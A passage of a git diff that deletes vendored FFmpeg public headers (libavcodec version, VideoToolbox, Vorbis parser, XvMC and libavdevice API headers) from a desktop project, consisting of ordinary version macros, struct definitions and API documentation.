This structure is used as a callback between the FFmpeg - * decoder (vd_) and presentation (vo_) module. - * This is used for defining a video frame containing surface, - * picture parameter, bitstream information etc which are passed - * between the FFmpeg decoder and its clients. - */ -struct vdpau_render_state { - VdpVideoSurface surface; ///< Used as rendered surface, never changed. - - int state; ///< Holds FF_VDPAU_STATE_* values. - - /** picture parameter information for all supported codecs */ - union AVVDPAUPictureInfo info; - - /** Describe size/location of the compressed video data. - Set to 0 when freeing bitstream_buffers. */ - int bitstream_buffers_allocated; - int bitstream_buffers_used; - /** The user is responsible for freeing this buffer using av_freep(). */ - VdpBitstreamBuffer *bitstream_buffers; -}; -#endif - -/* @}*/ - -#endif /* AVCODEC_VDPAU_H */ diff --git a/desktop_3230/FFmpeg/include/libavcodec/version.h b/desktop_3230/FFmpeg/include/libavcodec/version.h deleted file mode 100644 index 37a35e0..0000000 --- a/desktop_3230/FFmpeg/include/libavcodec/version.h +++ /dev/null @@ -1,216 +0,0 @@ -/* - * - * This file is part of FFmpeg. - * - * FFmpeg is free software; you can redistribute it and/or - * modify it under the terms of the GNU Lesser General Public - * License as published by the Free Software Foundation; either - * version 2.1 of the License, or (at your option) any later version. - * - * FFmpeg is distributed in the hope that it will be useful, - * but WITHOUT ANY WARRANTY; without even the implied warranty of - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU - * Lesser General Public License for more details. - * - * You should have received a copy of the GNU Lesser General Public - * License along with FFmpeg; if not, write to the Free Software - * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA - */ - -#ifndef AVCODEC_VERSION_H -#define AVCODEC_VERSION_H - -/** - * @file - * @ingroup libavc - * Libavcodec version macros. - */ - -#include "libavutil/version.h" - -#define LIBAVCODEC_VERSION_MAJOR 57 -#define LIBAVCODEC_VERSION_MINOR 24 -#define LIBAVCODEC_VERSION_MICRO 102 - -#define LIBAVCODEC_VERSION_INT AV_VERSION_INT(LIBAVCODEC_VERSION_MAJOR, \ - LIBAVCODEC_VERSION_MINOR, \ - LIBAVCODEC_VERSION_MICRO) -#define LIBAVCODEC_VERSION AV_VERSION(LIBAVCODEC_VERSION_MAJOR, \ - LIBAVCODEC_VERSION_MINOR, \ - LIBAVCODEC_VERSION_MICRO) -#define LIBAVCODEC_BUILD LIBAVCODEC_VERSION_INT - -#define LIBAVCODEC_IDENT "Lavc" AV_STRINGIFY(LIBAVCODEC_VERSION) - -/** - * FF_API_* defines may be placed below to indicate public API that will be - * dropped at a future version bump. The defines themselves are not part of - * the public API and may change, break or disappear at any time. - * - * @note, when bumping the major version it is recommended to manually - * disable each FF_API_* in its own commit instead of disabling them all - * at once through the bump. This improves the git bisect-ability of the change. - */ - -#ifndef FF_API_VIMA_DECODER -#define FF_API_VIMA_DECODER (LIBAVCODEC_VERSION_MAJOR < 58) -#endif -#ifndef FF_API_AUDIO_CONVERT -#define FF_API_AUDIO_CONVERT (LIBAVCODEC_VERSION_MAJOR < 58) -#endif -#ifndef FF_API_AVCODEC_RESAMPLE -#define FF_API_AVCODEC_RESAMPLE FF_API_AUDIO_CONVERT -#endif -#ifndef FF_API_GETCHROMA -#define FF_API_GETCHROMA (LIBAVCODEC_VERSION_MAJOR < 58) -#endif -#ifndef FF_API_MISSING_SAMPLE -#define FF_API_MISSING_SAMPLE (LIBAVCODEC_VERSION_MAJOR < 58) -#endif -#ifndef FF_API_LOWRES -#define FF_API_LOWRES (LIBAVCODEC_VERSION_MAJOR < 58) -#endif -#ifndef FF_API_CAP_VDPAU -#define FF_API_CAP_VDPAU (LIBAVCODEC_VERSION_MAJOR < 58) -#endif -#ifndef FF_API_BUFS_VDPAU -#define FF_API_BUFS_VDPAU (LIBAVCODEC_VERSION_MAJOR < 58) -#endif -#ifndef FF_API_VOXWARE -#define FF_API_VOXWARE (LIBAVCODEC_VERSION_MAJOR < 58) -#endif -#ifndef FF_API_SET_DIMENSIONS -#define FF_API_SET_DIMENSIONS (LIBAVCODEC_VERSION_MAJOR < 58) -#endif -#ifndef FF_API_DEBUG_MV -#define FF_API_DEBUG_MV (LIBAVCODEC_VERSION_MAJOR < 58) -#endif -#ifndef FF_API_AC_VLC -#define FF_API_AC_VLC (LIBAVCODEC_VERSION_MAJOR < 58) -#endif -#ifndef FF_API_OLD_MSMPEG4 -#define FF_API_OLD_MSMPEG4 (LIBAVCODEC_VERSION_MAJOR < 58) -#endif -#ifndef FF_API_ASPECT_EXTENDED -#define FF_API_ASPECT_EXTENDED (LIBAVCODEC_VERSION_MAJOR < 58) -#endif -#ifndef FF_API_ARCH_ALPHA -#define FF_API_ARCH_ALPHA (LIBAVCODEC_VERSION_MAJOR < 58) -#endif -#ifndef FF_API_XVMC -#define FF_API_XVMC (LIBAVCODEC_VERSION_MAJOR < 58) -#endif -#ifndef FF_API_ERROR_RATE -#define FF_API_ERROR_RATE (LIBAVCODEC_VERSION_MAJOR < 58) -#endif -#ifndef FF_API_QSCALE_TYPE -#define FF_API_QSCALE_TYPE (LIBAVCODEC_VERSION_MAJOR < 58) -#endif -#ifndef FF_API_MB_TYPE -#define FF_API_MB_TYPE (LIBAVCODEC_VERSION_MAJOR < 58) -#endif -#ifndef FF_API_MAX_BFRAMES -#define FF_API_MAX_BFRAMES (LIBAVCODEC_VERSION_MAJOR < 58) -#endif -#ifndef FF_API_NEG_LINESIZES -#define FF_API_NEG_LINESIZES (LIBAVCODEC_VERSION_MAJOR < 58) -#endif -#ifndef FF_API_EMU_EDGE -#define FF_API_EMU_EDGE (LIBAVCODEC_VERSION_MAJOR < 58) -#endif -#ifndef FF_API_ARCH_SH4 -#define FF_API_ARCH_SH4 (LIBAVCODEC_VERSION_MAJOR < 58) -#endif -#ifndef FF_API_ARCH_SPARC -#define FF_API_ARCH_SPARC (LIBAVCODEC_VERSION_MAJOR < 58) -#endif -#ifndef FF_API_UNUSED_MEMBERS -#define FF_API_UNUSED_MEMBERS (LIBAVCODEC_VERSION_MAJOR < 58) -#endif -#ifndef FF_API_IDCT_XVIDMMX -#define FF_API_IDCT_XVIDMMX (LIBAVCODEC_VERSION_MAJOR < 58) -#endif -#ifndef FF_API_INPUT_PRESERVED -#define FF_API_INPUT_PRESERVED (LIBAVCODEC_VERSION_MAJOR < 58) -#endif -#ifndef FF_API_NORMALIZE_AQP -#define FF_API_NORMALIZE_AQP (LIBAVCODEC_VERSION_MAJOR < 58) -#endif -#ifndef FF_API_GMC -#define FF_API_GMC (LIBAVCODEC_VERSION_MAJOR < 58) -#endif -#ifndef FF_API_MV0 -#define FF_API_MV0 (LIBAVCODEC_VERSION_MAJOR < 58) -#endif -#ifndef FF_API_CODEC_NAME -#define FF_API_CODEC_NAME (LIBAVCODEC_VERSION_MAJOR < 58) -#endif -#ifndef FF_API_AFD -#define FF_API_AFD (LIBAVCODEC_VERSION_MAJOR < 58) -#endif -#ifndef FF_API_VISMV -/* XXX: don't forget to drop the -vismv documentation */ -#define FF_API_VISMV (LIBAVCODEC_VERSION_MAJOR < 58) -#endif -#ifndef FF_API_AUDIOENC_DELAY -#define FF_API_AUDIOENC_DELAY (LIBAVCODEC_VERSION_MAJOR < 58) -#endif -#ifndef FF_API_VAAPI_CONTEXT -#define FF_API_VAAPI_CONTEXT (LIBAVCODEC_VERSION_MAJOR < 58) -#endif -#ifndef FF_API_AVCTX_TIMEBASE -#define FF_API_AVCTX_TIMEBASE (LIBAVCODEC_VERSION_MAJOR < 59) -#endif -#ifndef FF_API_MPV_OPT -#define FF_API_MPV_OPT (LIBAVCODEC_VERSION_MAJOR < 59) -#endif -#ifndef FF_API_STREAM_CODEC_TAG -#define FF_API_STREAM_CODEC_TAG (LIBAVCODEC_VERSION_MAJOR < 59) -#endif -#ifndef FF_API_QUANT_BIAS -#define FF_API_QUANT_BIAS (LIBAVCODEC_VERSION_MAJOR < 59) -#endif -#ifndef FF_API_RC_STRATEGY -#define FF_API_RC_STRATEGY (LIBAVCODEC_VERSION_MAJOR < 59) -#endif -#ifndef FF_API_CODED_FRAME -#define FF_API_CODED_FRAME (LIBAVCODEC_VERSION_MAJOR < 59) -#endif -#ifndef FF_API_MOTION_EST -#define FF_API_MOTION_EST (LIBAVCODEC_VERSION_MAJOR < 59) -#endif -#ifndef FF_API_WITHOUT_PREFIX -#define FF_API_WITHOUT_PREFIX (LIBAVCODEC_VERSION_MAJOR < 59) -#endif -#ifndef FF_API_SIDEDATA_ONLY_PKT -#define FF_API_SIDEDATA_ONLY_PKT (LIBAVCODEC_VERSION_MAJOR < 59) -#endif -#ifndef FF_API_VDPAU_PROFILE -#define FF_API_VDPAU_PROFILE (LIBAVCODEC_VERSION_MAJOR < 59) -#endif -#ifndef FF_API_CONVERGENCE_DURATION -#define FF_API_CONVERGENCE_DURATION (LIBAVCODEC_VERSION_MAJOR < 59) -#endif -#ifndef FF_API_AVPICTURE -#define FF_API_AVPICTURE (LIBAVCODEC_VERSION_MAJOR < 59) -#endif -#ifndef FF_API_AVPACKET_OLD_API -#define FF_API_AVPACKET_OLD_API (LIBAVCODEC_VERSION_MAJOR < 59) -#endif -#ifndef FF_API_RTP_CALLBACK -#define FF_API_RTP_CALLBACK (LIBAVCODEC_VERSION_MAJOR < 59) -#endif -#ifndef FF_API_VBV_DELAY -#define FF_API_VBV_DELAY (LIBAVCODEC_VERSION_MAJOR < 59) -#endif -#ifndef FF_API_CODER_TYPE -#define FF_API_CODER_TYPE (LIBAVCODEC_VERSION_MAJOR < 59) -#endif -#ifndef FF_API_STAT_BITS -#define FF_API_STAT_BITS (LIBAVCODEC_VERSION_MAJOR < 59) -#endif -#ifndef FF_API_PRIVATE_OPT -#define FF_API_PRIVATE_OPT (LIBAVCODEC_VERSION_MAJOR < 59) -#endif - -#endif /* AVCODEC_VERSION_H */ diff --git a/desktop_3230/FFmpeg/include/libavcodec/videotoolbox.h b/desktop_3230/FFmpeg/include/libavcodec/videotoolbox.h deleted file mode 100644 index a48638e..0000000 --- a/desktop_3230/FFmpeg/include/libavcodec/videotoolbox.h +++ /dev/null @@ -1,126 +0,0 @@ -/* - * Videotoolbox hardware acceleration - * - * copyright (c) 2012 Sebastien Zwickert - * - * This file is part of FFmpeg. - * - * FFmpeg is free software; you can redistribute it and/or - * modify it under the terms of the GNU Lesser General Public - * License as published by the Free Software Foundation; either - * version 2.1 of the License, or (at your option) any later version. - * - * FFmpeg is distributed in the hope that it will be useful, - * but WITHOUT ANY WARRANTY; without even the implied warranty of - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU - * Lesser General Public License for more details. - * - * You should have received a copy of the GNU Lesser General Public - * License along with FFmpeg; if not, write to the Free Software - * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA - */ - -#ifndef AVCODEC_VIDEOTOOLBOX_H -#define AVCODEC_VIDEOTOOLBOX_H - -/** - * @file - * @ingroup lavc_codec_hwaccel_videotoolbox - * Public libavcodec Videotoolbox header. - */ - -#include - -#define Picture QuickdrawPicture -#include -#undef Picture - -#include "libavcodec/avcodec.h" - -/** - * This struct holds all the information that needs to be passed - * between the caller and libavcodec for initializing Videotoolbox decoding. - * Its size is not a part of the public ABI, it must be allocated with - * av_videotoolbox_alloc_context() and freed with av_free(). - */ -typedef struct AVVideotoolboxContext { - /** - * Videotoolbox decompression session object. - * Created and freed the caller. - */ - VTDecompressionSessionRef session; - - /** - * The output callback that must be passed to the session. - * Set by av_videottoolbox_default_init() - */ - VTDecompressionOutputCallback output_callback; - - /** - * CVPixelBuffer Format Type that Videotoolbox will use for decoded frames. - * set by the caller. - */ - OSType cv_pix_fmt_type; - - /** - * CoreMedia Format Description that Videotoolbox will use to create the decompression session. - * Set by the caller. - */ - CMVideoFormatDescriptionRef cm_fmt_desc; - - /** - * CoreMedia codec type that Videotoolbox will use to create the decompression session. - * Set by the caller. - */ - int cm_codec_type; -} AVVideotoolboxContext; - -/** - * Allocate and initialize a Videotoolbox context. - * - * This function should be called from the get_format() callback when the caller - * selects the AV_PIX_FMT_VIDETOOLBOX format. The caller must then create - * the decoder object (using the output callback provided by libavcodec) that - * will be used for Videotoolbox-accelerated decoding. - * - * When decoding with Videotoolbox is finished, the caller must destroy the decoder - * object and free the Videotoolbox context using av_free(). - * - * @return the newly allocated context or NULL on failure - */ -AVVideotoolboxContext *av_videotoolbox_alloc_context(void); - -/** - * This is a convenience function that creates and sets up the Videotoolbox context using - * an internal implementation. - * - * @param avctx the corresponding codec context - * - * @return >= 0 on success, a negative AVERROR code on failure - */ -int av_videotoolbox_default_init(AVCodecContext *avctx); - -/** - * This is a convenience function that creates and sets up the Videotoolbox context using - * an internal implementation. - * - * @param avctx the corresponding codec context - * @param vtctx the Videotoolbox context to use - * - * @return >= 0 on success, a negative AVERROR code on failure - */ -int av_videotoolbox_default_init2(AVCodecContext *avctx, AVVideotoolboxContext *vtctx); - -/** - * This function must be called to free the Videotoolbox context initialized with - * av_videotoolbox_default_init(). - * - * @param avctx the corresponding codec context - */ -void av_videotoolbox_default_free(AVCodecContext *avctx); - -/** - * @} - */ - -#endif /* AVCODEC_VIDEOTOOLBOX_H */ diff --git a/desktop_3230/FFmpeg/include/libavcodec/vorbis_parser.h b/desktop_3230/FFmpeg/include/libavcodec/vorbis_parser.h deleted file mode 100644 index 81fda3b..0000000 --- a/desktop_3230/FFmpeg/include/libavcodec/vorbis_parser.h +++ /dev/null @@ -1,78 +0,0 @@ -/* - * - * This file is part of FFmpeg. - * - * FFmpeg is free software; you can redistribute it and/or - * modify it under the terms of the GNU Lesser General Public - * License as published by the Free Software Foundation; either - * version 2.1 of the License, or (at your option) any later version. - * - * FFmpeg is distributed in the hope that it will be useful, - * but WITHOUT ANY WARRANTY; without even the implied warranty of - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU - * Lesser General Public License for more details. - * - * You should have received a copy of the GNU Lesser General Public - * License along with FFmpeg; if not, write to the Free Software - * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA - */ - -/** - * @file - * A public API for Vorbis parsing - * - * Determines the duration for each packet. - */ - -#ifndef AVCODEC_VORBIS_PARSER_H -#define AVCODEC_VORBIS_PARSER_H - -#include - -typedef struct AVVorbisParseContext AVVorbisParseContext; - -/** - * Allocate and initialize the Vorbis parser using headers in the extradata. - * - * @param avctx codec context - * @param s Vorbis parser context - */ -AVVorbisParseContext *av_vorbis_parse_init(const uint8_t *extradata, - int extradata_size); - -/** - * Free the parser and everything associated with it. - */ -void av_vorbis_parse_free(AVVorbisParseContext **s); - -#define VORBIS_FLAG_HEADER 0x00000001 -#define VORBIS_FLAG_COMMENT 0x00000002 -#define VORBIS_FLAG_SETUP 0x00000004 - -/** - * Get the duration for a Vorbis packet. - * - * If @p flags is @c NULL, - * special frames are considered invalid. - * - * @param s Vorbis parser context - * @param buf buffer containing a Vorbis frame - * @param buf_size size of the buffer - * @param flags flags for special frames - */ -int av_vorbis_parse_frame_flags(AVVorbisParseContext *s, const uint8_t *buf, - int buf_size, int *flags); - -/** - * Get the duration for a Vorbis packet. - * - * @param s Vorbis parser context - * @param buf buffer containing a Vorbis frame - * @param buf_size size of the buffer - */ -int av_vorbis_parse_frame(AVVorbisParseContext *s, const uint8_t *buf, - int buf_size); - -void av_vorbis_parse_reset(AVVorbisParseContext *s); - -#endif /* AVCODEC_VORBIS_PARSER_H */ diff --git a/desktop_3230/FFmpeg/include/libavcodec/xvmc.h b/desktop_3230/FFmpeg/include/libavcodec/xvmc.h deleted file mode 100644 index 465ee78..0000000 --- a/desktop_3230/FFmpeg/include/libavcodec/xvmc.h +++ /dev/null @@ -1,170 +0,0 @@ -/* - * Copyright (C) 2003 Ivan Kalvachev - * - * This file is part of FFmpeg. - * - * FFmpeg is free software; you can redistribute it and/or - * modify it under the terms of the GNU Lesser General Public - * License as published by the Free Software Foundation; either - * version 2.1 of the License, or (at your option) any later version. - * - * FFmpeg is distributed in the hope that it will be useful, - * but WITHOUT ANY WARRANTY; without even the implied warranty of - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU - * Lesser General Public License for more details. - * - * You should have received a copy of the GNU Lesser General Public - * License along with FFmpeg; if not, write to the Free Software - * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA - */ - -#ifndef AVCODEC_XVMC_H -#define AVCODEC_XVMC_H - -/** - * @file - * @ingroup lavc_codec_hwaccel_xvmc - * Public libavcodec XvMC header. - */ - -#include - -#include "libavutil/attributes.h" -#include "version.h" -#include "avcodec.h" - -/** - * @defgroup lavc_codec_hwaccel_xvmc XvMC - * @ingroup lavc_codec_hwaccel - * - * @{ - */ - -#define AV_XVMC_ID 0x1DC711C0 /**< special value to ensure that regular pixel routines haven't corrupted the struct - the number is 1337 speak for the letters IDCT MCo (motion compensation) */ - -struct attribute_deprecated xvmc_pix_fmt { - /** The field contains the special constant value AV_XVMC_ID. - It is used as a test that the application correctly uses the API, - and that there is no corruption caused by pixel routines. - - application - set during initialization - - libavcodec - unchanged - */ - int xvmc_id; - - /** Pointer to the block array allocated by XvMCCreateBlocks(). - The array has to be freed by XvMCDestroyBlocks(). - Each group of 64 values represents one data block of differential - pixel information (in MoCo mode) or coefficients for IDCT. - - application - set the pointer during initialization - - libavcodec - fills coefficients/pixel data into the array - */ - short* data_blocks; - - /** Pointer to the macroblock description array allocated by - XvMCCreateMacroBlocks() and freed by XvMCDestroyMacroBlocks(). - - application - set the pointer during initialization - - libavcodec - fills description data into the array - */ - XvMCMacroBlock* mv_blocks; - - /** Number of macroblock descriptions that can be stored in the mv_blocks - array. - - application - set during initialization - - libavcodec - unchanged - */ - int allocated_mv_blocks; - - /** Number of blocks that can be stored at once in the data_blocks array. - - application - set during initialization - - libavcodec - unchanged - */ - int allocated_data_blocks; - - /** Indicate that the hardware would interpret data_blocks as IDCT - coefficients and perform IDCT on them. - - application - set during initialization - - libavcodec - unchanged - */ - int idct; - - /** In MoCo mode it indicates that intra macroblocks are assumed to be in - unsigned format; same as the XVMC_INTRA_UNSIGNED flag. - - application - set during initialization - - libavcodec - unchanged - */ - int unsigned_intra; - - /** Pointer to the surface allocated by XvMCCreateSurface(). - It has to be freed by XvMCDestroySurface() on application exit. - It identifies the frame and its state on the video hardware. - - application - set during initialization - - libavcodec - unchanged - */ - XvMCSurface* p_surface; - -/** Set by the decoder before calling ff_draw_horiz_band(), - needed by the XvMCRenderSurface function. */ -//@{ - /** Pointer to the surface used as past reference - - application - unchanged - - libavcodec - set - */ - XvMCSurface* p_past_surface; - - /** Pointer to the surface used as future reference - - application - unchanged - - libavcodec - set - */ - XvMCSurface* p_future_surface; - - /** top/bottom field or frame - - application - unchanged - - libavcodec - set - */ - unsigned int picture_structure; - - /** XVMC_SECOND_FIELD - 1st or 2nd field in the sequence - - application - unchanged - - libavcodec - set - */ - unsigned int flags; -//}@ - - /** Number of macroblock descriptions in the mv_blocks array - that have already been passed to the hardware. - - application - zeroes it on get_buffer(). - A successful ff_draw_horiz_band() may increment it - with filled_mb_block_num or zero both. - - libavcodec - unchanged - */ - int start_mv_blocks_num; - - /** Number of new macroblock descriptions in the mv_blocks array (after - start_mv_blocks_num) that are filled by libavcodec and have to be - passed to the hardware. - - application - zeroes it on get_buffer() or after successful - ff_draw_horiz_band(). - - libavcodec - increment with one of each stored MB - */ - int filled_mv_blocks_num; - - /** Number of the next free data block; one data block consists of - 64 short values in the data_blocks array. - All blocks before this one have already been claimed by placing their - position into the corresponding block description structure field, - that are part of the mv_blocks array. - - application - zeroes it on get_buffer(). - A successful ff_draw_horiz_band() may zero it together - with start_mb_blocks_num. - - libavcodec - each decoded macroblock increases it by the number - of coded blocks it contains. - */ - int next_free_data_block_num; -}; - -/** - * @} - */ - -#endif /* AVCODEC_XVMC_H */ diff --git a/desktop_3230/FFmpeg/include/libavdevice/avdevice.h b/desktop_3230/FFmpeg/include/libavdevice/avdevice.h deleted file mode 100644 index 6b0446c..0000000 --- a/desktop_3230/FFmpeg/include/libavdevice/avdevice.h +++ /dev/null @@ -1,509 +0,0 @@ -/* - * This file is part of FFmpeg. - * - * FFmpeg is free software; you can redistribute it and/or - * modify it under the terms of the GNU Lesser General Public - * License as published by the Free Software Foundation; either - * version 2.1 of the License, or (at your option) any later version. - * - * FFmpeg is distributed in the hope that it will be useful, - * but WITHOUT ANY WARRANTY; without even the implied warranty of - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU - * Lesser General Public License for more details. - * - * You should have received a copy of the GNU Lesser General Public - * License along with FFmpeg; if not, write to the Free Software - * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA - */ - -#ifndef AVDEVICE_AVDEVICE_H -#define AVDEVICE_AVDEVICE_H - -#include "version.h" - -/** - * @file - * @ingroup lavd - * Main libavdevice API header - */ - -/** - * @defgroup lavd Special devices muxing/demuxing library - * @{ - * Libavdevice is a complementary library to @ref libavf "libavformat". It - * provides various "special" platform-specific muxers and demuxers, e.g. for - * grabbing devices, audio capture and playback etc. As a consequence, the - * (de)muxers in libavdevice are of the AVFMT_NOFILE type (they use their own - * I/O functions). The filename passed to avformat_open_input() often does not - * refer to an actually existing file, but has some special device-specific - * meaning - e.g. for x11grab it is the display name. - * - * To use libavdevice, simply call avdevice_register_all() to register all - * compiled muxers and demuxers. They all use standard libavformat API. - * @} - */ - -#include "libavutil/log.h" -#include "libavutil/opt.h" -#include "libavutil/dict.h" -#include "libavformat/avformat.h" - -/** - * Return the LIBAVDEVICE_VERSION_INT constant. - */ -unsigned avdevice_version(void); - -/** - * Return the libavdevice build-time configuration. - */ -const char *avdevice_configuration(void); - -/** - * Return the libavdevice license. - */ -const char *avdevice_license(void); - -/** - * Initialize libavdevice and register all the input and output devices. - * @warning This function is not thread safe. - */ -void avdevice_register_all(void); - -/** - * Audio input devices iterator. - * - * If d is NULL, returns the first registered input audio/video device, - * if d is non-NULL, returns the next registered input audio/video device after d - * or NULL if d is the last one. - */ -AVInputFormat *av_input_audio_device_next(AVInputFormat *d); - -/** - * Video input devices iterator. - * - * If d is NULL, returns the first registered input audio/video device, - * if d is non-NULL, returns the next registered input audio/video device after d - * or NULL if d is the last one. - */ -AVInputFormat *av_input_video_device_next(AVInputFormat *d); - -/** - * Audio output devices iterator. - * - * If d is NULL, returns the first registered output audio/video device, - * if d is non-NULL, returns the next registered output audio/video device after d - * or NULL if d is the last one. - */ -AVOutputFormat *av_output_audio_device_next(AVOutputFormat *d); - -/** - * Video output devices iterator. - * - * If d is NULL, returns the first registered output audio/video device, - * if d is non-NULL, returns the next registered output audio/video device after d - * or NULL if d is the last one. - */ -AVOutputFormat *av_output_video_device_next(AVOutputFormat *d); - -typedef struct AVDeviceRect { - int x; /**< x coordinate of top left corner */ - int y; /**< y coordinate of top left corner */ - int width; /**< width */ - int height; /**< height */ -} AVDeviceRect; - -/** - * Message types used by avdevice_app_to_dev_control_message(). - */ -enum AVAppToDevMessageType { - /** - * Dummy message. - */ - AV_APP_TO_DEV_NONE = MKBETAG('N','O','N','E'), - - /** - * Window size change message. - * - * Message is sent to the device every time the application changes the size - * of the window device renders to. - * Message should also be sent right after window is created. - * - * data: AVDeviceRect: new window size. - */ - AV_APP_TO_DEV_WINDOW_SIZE = MKBETAG('G','E','O','M'), - - /** - * Repaint request message. - * - * Message is sent to the device when window has to be repainted. - * - * data: AVDeviceRect: area required to be repainted. - * NULL: whole area is required to be repainted. - */ - AV_APP_TO_DEV_WINDOW_REPAINT = MKBETAG('R','E','P','A'), - - /** - * Request pause/play. - * - * Application requests pause/unpause playback. - * Mostly usable with devices that have internal buffer. - * By default devices are not paused. - * - * data: NULL - */ - AV_APP_TO_DEV_PAUSE = MKBETAG('P', 'A', 'U', ' '), - AV_APP_TO_DEV_PLAY = MKBETAG('P', 'L', 'A', 'Y'), - AV_APP_TO_DEV_TOGGLE_PAUSE = MKBETAG('P', 'A', 'U', 'T'), - - /** - * Volume control message. - * - * Set volume level. It may be device-dependent if volume - * is changed per stream or system wide. Per stream volume - * change is expected when possible. - * - * data: double: new volume with range of 0.0 - 1.0. - */ - AV_APP_TO_DEV_SET_VOLUME = MKBETAG('S', 'V', 'O', 'L'), - - /** - * Mute control messages. - * - * Change mute state. It may be device-dependent if mute status - * is changed per stream or system wide. Per stream mute status - * change is expected when possible. - * - * data: NULL. - */ - AV_APP_TO_DEV_MUTE = MKBETAG(' ', 'M', 'U', 'T'), - AV_APP_TO_DEV_UNMUTE = MKBETAG('U', 'M', 'U', 'T'), - AV_APP_TO_DEV_TOGGLE_MUTE = MKBETAG('T', 'M', 'U', 'T'), - - /** - * Get volume/mute messages. - * - * Force the device to send AV_DEV_TO_APP_VOLUME_LEVEL_CHANGED or - * AV_DEV_TO_APP_MUTE_STATE_CHANGED command respectively. - * - * data: NULL. - */ - AV_APP_TO_DEV_GET_VOLUME = MKBETAG('G', 'V', 'O', 'L'), - AV_APP_TO_DEV_GET_MUTE = MKBETAG('G', 'M', 'U', 'T'), -}; - -/** - * Message types used by avdevice_dev_to_app_control_message(). - */ -enum AVDevToAppMessageType { - /** - * Dummy message. - */ - AV_DEV_TO_APP_NONE = MKBETAG('N','O','N','E'), - - /** - * Create window buffer message. - * - * Device requests to create a window buffer. Exact meaning is device- - * and application-dependent. Message is sent before rendering first - * frame and all one-shot initializations should be done here. - * Application is allowed to ignore preferred window buffer size. - * - * @note: Application is obligated to inform about window buffer size - * with AV_APP_TO_DEV_WINDOW_SIZE message. - * - * data: AVDeviceRect: preferred size of the window buffer. - * NULL: no preferred size of the window buffer. - */ - AV_DEV_TO_APP_CREATE_WINDOW_BUFFER = MKBETAG('B','C','R','E'), - - /** - * Prepare window buffer message. - * - * Device requests to prepare a window buffer for rendering. - * Exact meaning is device- and application-dependent. - * Message is sent before rendering of each frame. - * - * data: NULL. - */ - AV_DEV_TO_APP_PREPARE_WINDOW_BUFFER = MKBETAG('B','P','R','E'), - - /** - * Display window buffer message. - * - * Device requests to display a window buffer. - * Message is sent when new frame is ready to be displayed. - * Usually buffers need to be swapped in handler of this message. - * - * data: NULL. - */ - AV_DEV_TO_APP_DISPLAY_WINDOW_BUFFER = MKBETAG('B','D','I','S'), - - /** - * Destroy window buffer message. - * - * Device requests to destroy a window buffer. - * Message is sent when device is about to be destroyed and window - * buffer is not required anymore. - * - * data: NULL. - */ - AV_DEV_TO_APP_DESTROY_WINDOW_BUFFER = MKBETAG('B','D','E','S'), - - /** - * Buffer fullness status messages. - * - * Device signals buffer overflow/underflow. - * - * data: NULL. - */ - AV_DEV_TO_APP_BUFFER_OVERFLOW = MKBETAG('B','O','F','L'), - AV_DEV_TO_APP_BUFFER_UNDERFLOW = MKBETAG('B','U','F','L'), - - /** - * Buffer readable/writable. - * - * Device informs that buffer is readable/writable. - * When possible, device informs how many bytes can be read/write. - * - * @warning Device may not inform when number of bytes than can be read/write changes. - * - * data: int64_t: amount of bytes available to read/write. - * NULL: amount of bytes available to read/write is not known. - */ - AV_DEV_TO_APP_BUFFER_READABLE = MKBETAG('B','R','D',' '), - AV_DEV_TO_APP_BUFFER_WRITABLE = MKBETAG('B','W','R',' '), - - /** - * Mute state change message. - * - * Device informs that mute state has changed. - * - * data: int: 0 for not muted state, non-zero for muted state. - */ - AV_DEV_TO_APP_MUTE_STATE_CHANGED = MKBETAG('C','M','U','T'), - - /** - * Volume level change message. - * - * Device informs that volume level has changed. - * - * data: double: new volume with range of 0.0 - 1.0. - */ - AV_DEV_TO_APP_VOLUME_LEVEL_CHANGED = MKBETAG('C','V','O','L'), -}; - -/** - * Send control message from application to device. - * - * @param s device context. - * @param type message type. - * @param data message data. Exact type depends on message type. - * @param data_size size of message data. - * @return >= 0 on success, negative on error. - * AVERROR(ENOSYS) when device doesn't implement handler of the message. - */ -int avdevice_app_to_dev_control_message(struct AVFormatContext *s, - enum AVAppToDevMessageType type, - void *data, size_t data_size); - -/** - * Send control message from device to application. - * - * @param s device context. - * @param type message type. - * @param data message data. Can be NULL. - * @param data_size size of message data. - * @return >= 0 on success, negative on error. - * AVERROR(ENOSYS) when application doesn't implement handler of the message. - */ -int avdevice_dev_to_app_control_message(struct AVFormatContext *s, - enum AVDevToAppMessageType type, - void *data, size_t data_size); - -/** - * Following API allows user to probe device capabilities (supported codecs, - * pixel formats, sample formats, resolutions, channel counts, etc). - * It is build on top op AVOption API. - * Queried capabilities make it possible to set up converters of video or audio - * parameters that fit to the device. - * - * List of capabilities that can be queried: - * - Capabilities valid for both audio and video devices: - * - codec: supported audio/video codecs. - * type: AV_OPT_TYPE_INT (AVCodecID value) - * - Capabilities valid for audio devices: - * - sample_format: supported sample formats. - * type: AV_OPT_TYPE_INT (AVSampleFormat value) - * - sample_rate: supported sample rates. - * type: AV_OPT_TYPE_INT - * - channels: supported number of channels. - * type: AV_OPT_TYPE_INT - * - channel_layout: supported channel layouts. - * type: AV_OPT_TYPE_INT64 - * - Capabilities valid for video devices: - * - pixel_format: supported pixel formats. - * type: AV_OPT_TYPE_INT (AVPixelFormat value) - * - window_size: supported window sizes (describes size of the window size presented to the user). - * type: AV_OPT_TYPE_IMAGE_SIZE - * - frame_size: supported frame sizes (describes size of provided video frames). - * type: AV_OPT_TYPE_IMAGE_SIZE - * - fps: supported fps values - * type: AV_OPT_TYPE_RATIONAL - * - * Value of the capability may be set by user using av_opt_set() function - * and AVDeviceCapabilitiesQuery object. Following queries will - * limit results to the values matching already set capabilities. - * For example, setting a codec may impact number of formats or fps values - * returned during next query. Setting invalid value may limit results to zero. - * - * Example of the usage basing on opengl output device: - * - * @code - * AVFormatContext *oc = NULL; - * AVDeviceCapabilitiesQuery *caps = NULL; - * AVOptionRanges *ranges; - * int ret; - * - 